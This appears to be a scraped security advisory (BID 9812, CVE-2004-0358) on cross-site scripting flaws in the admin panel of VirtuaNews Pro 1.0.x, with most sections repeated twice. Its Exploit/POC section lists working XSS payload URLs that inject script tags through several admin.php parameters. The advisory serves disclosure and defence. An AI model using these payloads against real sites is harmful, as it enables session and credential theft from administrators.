VirtuaSystems VirtuaNews Multiple Module Cross-Site Scripting Vulnerabilities
BID:9812
Info
VirtuaSystems VirtuaNews Multiple Module Cross-Site Scripting Vulnerabilities
| Bugtraq ID: | 9812 |
| Class: | Input Validation Error |
| CVE: |
CVE-2004-0358 |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 05 2004 12:00AM |
| Updated: | Jul 12 2009 03:06AM |
| Credit: | Disclosure of this issue is credited to "Rafel Ivgi, The-Insider" <[email protected]>. |
| Vulnerable: |
VirtuaSystems VirtuaNews Pro 1.0.3 VirtuaSystems VirtuaNews Pro 1.0.2 VirtuaSystems VirtuaNews Pro 1.0.1 VirtuaSystems VirtuaNews Pro 1.0 |
| Not Vulnerable: | |
Discussion
VirtuaSystems VirtuaNews Multiple Module Cross-Site Scripting Vulnerabilities
It has been reported that the VirtuaNews non-default modules 'Files' and 'Vulns' are prone to multiple cross-site scripting vulnerabilities. These problems surround the application's failure to properly validate user supplied URI input. When exploited an attacker can execute arbitrary script and HTML code in the context of the vulnerable application.
The supplied code is rendered in the browser in the context of the affected application. This may allow an attacker to craft a malicious link, facilitating a cross-site scripting attack.
Attackers may exploit this vulnerability to steal authentication credentials. Other attacks may also be possible.
It has been reported that the VirtuaNews non-default modules 'Files' and 'Vulns' are prone to multiple cross-site scripting vulnerabilities. These problems surround the application's failure to properly validate user supplied URI input. When exploited an attacker can execute arbitrary script and HTML code in the context of the vulnerable application.
The supplied code is rendered in the browser in the context of the affected application. This may allow an attacker to craft a malicious link, facilitating a cross-site scripting attack.
Attackers may exploit this vulnerability to steal authentication credentials. Other attacks may also be possible.
Exploit / POC
VirtuaSystems VirtuaNews Multiple Module Cross-Site Scripting Vulnerabilities
No exploit is required to leverage this issue. The following proof of concepts have been provided:
Affecting the 'Vulns' module:
http://www.example.com/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~"></textarea><script>alert('XSS')</script>
http://www.example.com/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~"></textarea>--><script>alert('XSS')</script>
http://www.example.com/admin.php?">action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~"></textarea><script>alert('XSS')</script>
Affecting the 'Files' module:
http://www.example.com/admin.php?action=files&expand="><script>alert('XSS')</script>
http://www.example.com/admin.php?action=files_cat_delete&id="><script>alert('XSS')</script>
http://www.example.com/admin.php?action=files_check&catid="><script>alert('XSS')</script>
http://www.example.com/admin.php?action=newslogo_upload&"><script>alert('XSS')</script>
No exploit is required to leverage this issue. The following proof of concepts have been provided:
Affecting the 'Vulns' module:
http://www.example.com/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~"></textarea><script>alert('XSS')</script>
http://www.example.com/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~"></textarea>--><script>alert('XSS')</script>
http://www.example.com/admin.php?">action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~"></textarea><script>alert('XSS')</script>
Affecting the 'Files' module:
http://www.example.com/admin.php?action=files&expand="><script>alert('XSS')</script>
http://www.example.com/admin.php?action=files_cat_delete&id="><script>alert('XSS')</script>
http://www.example.com/admin.php?action=files_check&catid="><script>alert('XSS')</script>
http://www.example.com/admin.php?action=newslogo_upload&"><script>alert('XSS')</script>
Solution / Fix
VirtuaSystems VirtuaNews Multiple Module Cross-Site Scripting Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
VirtuaSystems VirtuaNews Multiple Module Cross-Site Scripting Vulnerabilities
References:
References:
- VirtuaNews Product Page (VirtuaSystems)
- VirtuaNews Admin Panel 1.0.3 Pro Cross Site Scripting Vulnerabillity ("Rafel Ivgi, The-Insider"